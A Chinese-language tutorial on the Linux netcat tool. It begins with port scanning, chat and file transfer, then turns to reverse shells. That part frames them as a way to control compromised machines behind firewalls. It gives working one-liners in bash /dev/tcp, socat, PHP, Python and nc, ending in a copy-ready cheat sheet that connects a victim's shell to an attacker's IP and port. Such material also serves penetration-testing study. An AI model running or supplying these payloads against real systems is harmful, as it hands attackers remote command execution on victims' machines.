Linux nc命令与反弹shell
Linux中nc命令是一个功能强大的网络工具,全称是netcat。
nc/netcat(选项)(参数)
选项:
-g<网关>:设置路由器跃程通信网关,最多设置8个; |
参数:
主机:指定主机的IP地址或主机名称; |
TCP端口扫描
# nc -v -z -w2 192.168.0.3 1-100 |
root@kali:~/Desktop# nc -v -z -w2 192.168.211.106 38324 |
UDP端口扫描
# nc -u -z -w2 192.168.0.1 1-1000 //扫描192.168.0.3 的端口 范围是 1-1000
扫描指定端口
# nc -nvv 192.168.0.1 80 //扫描 80端口
(UNKNOWN) [192.168.0.1] 80 (?) open
使用netcat实现局域网聊天
一端先启好监听:
nc -l 9999
另一端端进行连接:
nc 192.168.220.128 9999
连接之后的任一边的输入在另一边都可看到
#Ubantu (192.168.118.137 9999) |
#kali(192.168.118.134) |
发现输入的内容(中文英文字符)都可以正确解析,但是非打印字符不会传输。退格等键无用。
Ctrl+C 断开连接。
使用netcat实现文件传输
和局域网聊天是原理一样的,不过把输入输出重定向到文件
接收入端先启好监听:
nc -l 9999 > recv.txt
发送端进行发送:
nc 192.168.220.128 9999 < send.txt
不过传输完之后不会自动断开连接得手动ctrl+c断开,而且转输完成并没有什么标志不知是否已传完。
接收端:
ldl@ubuntu:~/Desktop$ ls |
发送端:
root@kali:~/Desktop# nc 192.168.118.137 9999 < test.c
反弹shell
什么是反弹shell
想要搞清楚这个问题,首先要搞清楚什么是反弹,为什么要反弹。
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。
那么什么情况下正向连接不太好用了呢?
- 某客户机中了你的网马,但是它在局域网内,你直接连接不了。它的ip会动态改变,你不能持续控制。
- 由于防火墙等限制,对方机器只能发送请求,不能接收请求。
- 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
那么反弹就很好理解了, 攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。
本质上是网络概念的客户端与服务端的角色反转。通常用于被控端因防火墙受限、权限不足、端口被占用等情形。作者:玄魂工作室-玄魂
反弹shell的各种姿势
netcat工具反弹
(1)受害者(目标机 kali)
root@kali:~# nc -lvvp 8080 -t -e /bin/bash
(2)攻击者(Linux)
nc 192.168.118.138 8080
bash直接反弹
(1) 目标机bash一句话
bash -i >& /dev/tcp/attacker-IP/Port 0>&1
e.g.
bash -i >& /dev/tcp/192.168.118.138/1234 0>&1
(2) 攻击者监听shell
nc -lvvp Port
e.g.
nc -lvvp 1234
bash反弹一句话的拆分说明
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
socat反弹一句话
Socat是Linux 下一个多功能的网络工具,名字来由是” Socket CAT”,因此可以看出它基于socket,能够折腾socket相关的无数事情 ,其功能与netcat类似,不过据说可以看做netcat的加强版,事实上的确也是如此,nc应急比较久没人维护了,确实显得有些陈旧了,我这里只简单的介绍下怎么使用它开启监听和反弹shell,其他详细内容可以参加见文末的参考学习。
有关socat二进制可执行文件,大家可以到这个链接下载:https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat
kali中有
(1) 攻击机开启监听
socat tcp-listen:6666 -
(2) 靶机运行socat反弹shell
root@ubuntu:~# socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.118.138:6666
php脚本反弹
靶机上运行
php -r '$sock=fsockopen("192.168.118.138",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
攻击者上运行
nc -lvvp 8888
python脚本反弹
攻击者运行
nc -lvvp 8080
靶机上运行
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.138",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
先总结这几种,还有一些不常用,之后遇到再说。
反弹shell 命令总结
bash版本:
bash -i >& /dev/tcp/<attackerIP>/[port] 0>&1
bash -i >& /dev/tcp/192.168.118.138/6666 0>&1
注意这个是由解析shell的bash完成,所以某些情况下不支持
python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
nc版本:
nc -e /bin/sh 10.0.0.1 1234
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999